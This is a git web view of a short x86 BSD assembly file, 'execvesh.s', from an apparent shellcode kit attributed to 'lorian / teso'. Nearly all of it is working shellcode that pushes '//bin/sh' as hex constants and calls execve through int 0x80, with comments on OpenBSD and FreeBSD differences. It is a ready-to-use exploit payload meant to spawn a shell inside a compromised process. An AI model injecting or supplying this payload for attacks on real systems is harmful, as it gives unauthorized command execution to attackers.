summaryrefslogtreecommitdiff
path: root/other/shellkit/x86_bsd/execvesh.s
blob: 370e7a4e544ea6ad217a1df8c43f8b1cef3a0229 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/* x86/BSD execve /bin/sh shellcode
 *  
 * lorian / teso
 */

/* somehow the obsd on plan9 where i tested it, needs the labels
 * exported with _ before, while freebsd doesnt 
 */

/* argv: OBSD needs a pointer to NULL, FBSD accepts NULL */

	.globl	cbegin
	.globl  _cbegin
	.globl	cend
	.globl  _cend

_cbegin:
cbegin:
        pushl     $0x3b
	popl      %eax
	cdq
	pushl     %edx
	movl      %esp, %ebx
	push      $0x68732F6E
	push      $0x69622F2F
	pusha                 /* FULLPOWER */
	pop       %esi
	pop       %esi
	int       $0x80
_cend:
cend: